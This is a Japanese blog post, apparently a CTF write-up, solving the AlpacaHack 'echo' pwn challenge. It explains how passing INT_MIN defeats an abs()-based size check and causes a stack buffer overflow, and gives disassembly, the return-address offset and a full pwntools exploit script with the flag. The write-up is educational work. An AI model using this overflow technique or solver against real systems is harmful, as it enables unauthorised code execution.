0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

ctf upsolve by kodai Advent Calendar 2025(Day5)

0
Posted at

ctf upsolve by kodai Advent Calendar 2025のDay5の記事になります。
全然分からなくて詰まってたら少し過ぎてしまいました...

取り扱った問題

AlpacaHack Round 1 (Pwn) echo
Author: ptr-yudai


upsolve

今日は大の苦手分野であるpwnの問題に取り組みます。
以下のようなmain.c, challが与えられました。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define BUF_SIZE 0x100

/* Call this function! */
void win() {
  char *args[] = {"/bin/cat", "/flag.txt", NULL};
  execve(args[0], args, NULL);
  exit(1);
}

int get_size() {
  // Input size
  int size = 0;
  scanf("%d%*c", &size);

  // Validate size
  if ((size = abs(size)) > BUF_SIZE) {
    puts("[-] Invalid size");
    exit(1);
  }

  return size;
}

void get_data(char *buf, unsigned size) {
  unsigned i;
  char c;

  // Input data until newline
  for (i = 0; i < size; i++) {
    if (fread(&c, 1, 1, stdin) != 1) break;
    if (c == '\n') break;
    buf[i] = c;
  }
  buf[i] = '\0';
}

void echo() {
  int size;
  char buf[BUF_SIZE];

  // Input size
  printf("Size: ");
  size = get_size();

  // Input data
  printf("Data: ");
  get_data(buf, size);

  // Show data
  printf("Received: %s\n", buf);
}

int main() {
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  echo();
  return 0;
}

このプログラムでは指定した長さで入力した文字列をそのまま返すプログラムです。
指定する長さに対しては、入力値の絶対値が256より大きい場合にInvalid sizeが返されます。

#define BUF_SIZE 0x100

// 省略

int get_size() {
  // Input size
  int size = 0;
  scanf("%d%*c", &size);

  // Validate size
  if ((size = abs(size)) > BUF_SIZE) {
    puts("[-] Invalid size");
    exit(1);
  }

  return size;
}

ここでget_data()を確認してみると、指定した長さを格納するものがint型になっていたのに対して、この処理の中ではunsigned型として扱われており、ここを悪用できそうです。しかしabsでsizeの絶対値を取るので悪用することが難しいです。

pwn absとかで調べて見ると、この問題のupsolveが多く挙げられていたのでその情報を参考にしました。
int は 32bit だから、値域は以下のようになります。

INT_MAX = 2147483647
INT_MIN = -2147483648

しかしINT_MIN の絶対値はintで表現することができないので、C言語的にはオーバーフローをして未定義動作として動いてしまうという欠点があるらしいです。なるほどなぁってなりました。

後はこれを使って、win()のアドレスを書き込めば良さそうです。

challをchecksecで確認をしてみると、StackにCanaryが付いていないので、リターンアドレスを書き換えてwin関数を呼び出せそうです。

$ checksec --file=echo
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY FortifiedFortifiable      FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   46 Symbols        No    0        2echo
$ objdump -d echo

でwin()のアドレスが00000000004011f6 = 0x4011f6であることが分かりました。

00000000004011f6 <win>:
  4011f6:       f3 0f 1e fa             endbr64
  4011fa:       55                      push   %rbp
  4011fb:       48 89 e5                mov    %rsp,%rbp
  4011fe:       48 83 ec 20             sub    $0x20,%rsp
  401202:       48 8d 05 fb 0d 00 00    lea    0xdfb(%rip),%rax        # 402004 <_IO_stdin_used+0x4>
  401209:       48 89 45 e0             mov    %rax,-0x20(%rbp)
  40120d:       48 8d 05 f9 0d 00 00    lea    0xdf9(%rip),%rax        # 40200d <_IO_stdin_used+0xd>
  401214:       48 89 45 e8             mov    %rax,-0x18(%rbp)
  401218:       48 c7 45 f0 00 00 00    movq   $0x0,-0x10(%rbp)
  40121f:       00 
  401220:       48 8b 45 e0             mov    -0x20(%rbp),%rax
  401224:       48 8d 4d e0             lea    -0x20(%rbp),%rcx
  401228:       ba 00 00 00 00          mov    $0x0,%edx
  40122d:       48 89 ce                mov    %rcx,%rsi
  401230:       48 89 c7                mov    %rax,%rdi
  401233:       e8 a8 fe ff ff          call   4010e0 <execve@plt>
  401238:       bf 01 00 00 00          mov    $0x1,%edi
  40123d:       e8 be fe ff ff          call   401100 <exit@plt>

次にecho()の挙動について見ていきます

0000000000401321 <echo>:
  401321:       f3 0f 1e fa             endbr64
  401325:       55                      push   %rbp
  401326:       48 89 e5                mov    %rsp,%rbp
  401329:       48 81 ec 10 01 00 00    sub    $0x110,%rsp

echoでは

  1. push %rbp : 呼び出し元のRBPをスタックに保存
  2. mov %rsp, %rbp : 今の RSP をフレームポインタRBPにセット
  3. sub $0x110, %rsp : ローカル変数用に0x110バイトを確保

最後にbufの位置を特定していきます。ローカルではBUF_SIZE = 0x100で取られています。
アセンブリでどう扱われているのかを見ると、

40134e:       89 45 fc                mov    %eax,-0x4(%rbp)

-0x4(%rbp)にsizeを入れている → sizeは[rbp-4]
そしてget_dataに呼び出される前に、

  401365:       8b 55 fc                mov    -0x4(%rbp),%edx
  401368:       48 8d 85 f0 fe ff ff    lea    -0x110(%rbp),%rax
  40136f:       89 d6                   mov    %edx,%esi   ; size
  401371:       48 89 c7                mov    %rax,%rdi   ; &buf
  401374:       e8 2c ff ff ff          call   4012a5 <get_data>
lea -0x110(%rbp), %rax
→ RAX = RBP - 0x110
→ &buf == rbp - 0x110

よってbufの先頭からsaved RIPまでの距離は(rbpp + 8) - (rbp - 0x110) = 0x118

これをもとにsolverを書く

from pwn import *

exe = ELF("./echo")
context.binary = exe

HOST = "34.170.146.252"
PORT = 40710

OFFSET = 0x118        
WIN_ADDR = 0x4011f6 

def conn():
    if args.REMOTE:
        return remote(HOST, PORT)
    else:
        return process(exe.path)

def solve(p):
    p.sendlineafter(b"Size: ", b"-2147483648")
    payload  = b"A" * OFFSET
    payload += p64(WIN_ADDR)

    p.sendlineafter(b"Data: ", payload)
    p.interactive()

if __name__ == "__main__":
    p = conn()
    solve(p)

FLAG : Alpaca{s1Gn3d_4Nd_uNs1gn3d_s1zEs_c4n_cAu5e_s3ri0us_buGz}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?